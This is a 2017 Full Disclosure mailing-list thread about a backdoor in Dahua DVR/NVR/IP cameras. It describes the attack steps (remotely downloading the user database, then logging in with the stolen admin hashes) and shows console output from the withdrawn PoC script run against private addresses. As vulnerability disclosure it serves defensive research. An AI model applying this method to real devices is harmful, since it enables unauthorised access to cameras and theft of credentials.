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Re: [FD] 0-Day: Dahua backdoor Generation 2 and 3



Greetings,

With my newfound knowledge of vulnerable devices out there with an unbelievable 
number of more than 1 million Dahua / OEM units,
where knowledge comes from a report made by NSFOCUS and my own research on 
shodan.io.

With this knowledge, I will not release the Python PoC to the public as before 
said of April 5, as it is not necessary when the PoC has already been verified 
by IPVM and other independent security researchers.
However, I'm open to share the PoC with serious security researchers if so 
desired, please e-mail me off list and be clear about who you are so I do not 
take you for a beggar, which I ignore.

NSFOCUS report: 
http://blog.nsfocus.net/dahua-cameras-unauthorized-access-vulnerability-technical-analysis-solution/

/bashis


-----Original Message-----
From: Fulldisclosure <fulldisclosure-bounces@xxxxxxxxxxxx> on behalf of bashis 
<mcw@xxxxxxxxxx>
Date: Monday, 6 March 2017 at 23:35
To: "fulldisclosure@xxxxxxxxxxxx" <fulldisclosure@xxxxxxxxxxxx>
Subject: Re: [FD] 0-Day: Dahua backdoor Generation 2 and 3

    Greetings,
    
    IPVM has published their independent report, along with their verification 
of the PoC and comments.
    
    Below is the open link to the report I requested for Full Disclosure 
Community. (otherwise closed for IPVM members)
    https://ipvm.com/reports/dahua-backdoor?code=bash
    
    Have a nice day
    /bashis
    
    -----Original Message-----
    From: Fulldisclosure <fulldisclosure-bounces@xxxxxxxxxxxx> on behalf of 
bashis <mcw@xxxxxxxxxx>
    Date: Monday, 6 March 2017 at 09:13
    To: "fulldisclosure@xxxxxxxxxxxx" <fulldisclosure@xxxxxxxxxxxx>
    Subject: [FD] 0-Day: Dahua backdoor Generation 2 and 3
    
        [STX]
        
        I'm speechless, and almost don't know what I should write... I (hardly) 
can't believe what I have just found.
        
        I have just discovered (to what I strongly believe is backdoor) in 
Dahua DVR/NVR/IPC and possible all their clones.
        
        Since I am convinced this is a backdoor, I have my own policy to NOT 
notify the vendor before the community.
        (I simply don't want to listen on their poor excuses, their tryings to 
keep me silent for informing the community)
        
        In short:
        You can delete/add/change name on the admin users, you change password 
on the admin users - this backdoor simply don't care about that!
        It uses whatever names and passwords you configuring - by simply 
downloading the full user database and use your own credentials!
        
        This is so simple as:
        1. Remotely download the full user database with all credentials and 
permissions
        2. Choose whatever admin user, copy the login names and password hashes
        3. Use them as source to remotely login to the Dahua devices
        
        This is like a damn Hollywood hack, click on one button and you are 
in...
        
        
        Below PoC you will find here: [Dahua asked me to remove the PoC, will 
be re-posted April 5 2017 – To give them 30 days for remediation]
        Please have understanding of the quick hack of the PoC, I'm sure it 
could be done better.
        
        Have a nice day
        /bashis
        
        $ ./dahua-backdoor.py --rhost 192.168.5.2
        
        [*] [Dahua backdoor Generation 2 & 3 (2017 bashis <mcw noemail eu>)]
        
        [i] Remote target IP: 192.168.5.2
        [i] Remote target PORT: 80
        [>] Checking for backdoor version
        [<] 200 OK
        [!] Generation 2 found
        [i] Chosing Admin Login: 888888, PWD hash: 4WzwxXxM
        [>] Requesting our session ID
        [<] 200 OK
        [>] Logging in
        [<] 200 OK
        { "id" : 10000, "params" : null, "result" : true, "session" : 100385023 
}
        
        [>] Logging out
        [<] 200 OK
        
        [*] All done...
        $
        
        $ ./dahua-backdoor.py --rhost 192.168.5.3
        
        [*] [Dahua backdoor Generation 2 & 3 (2017 bashis <mcw noemail eu>)]
        
        [i] Remote target IP: 192.168.5.3
        [i] Remote target PORT: 80
        [>] Checking for backdoor version
        [<] 200 OK
        [!] Generation 3 Found
        [i] Choosing Admin Login: admin, Auth: 27
        [>] Requesting our session ID
        [<] 200 OK
        [i] Downloaded MD5 hash: 94DB0778856B11C0D0F5455CCC0CE074
        [i] Random value to encrypt with: 1958557123
        [i] Built password: admin:1958557123:94DB0778856B11C0D0F5455CCC0CE074
        [i] MD5 generated password: 2A5F4F7E1BB6F0EA6381E4595651A79E
        [>] Logging in
        [<] 200 OK
        { "id" : 10000, "params" : null, "result" : true, "session" : 
1175887285 }
        
        [>] Logging out
        [<] 200 OK
        
        [*] All done...
        $
        
        [ETX]
        
        
        
        
        
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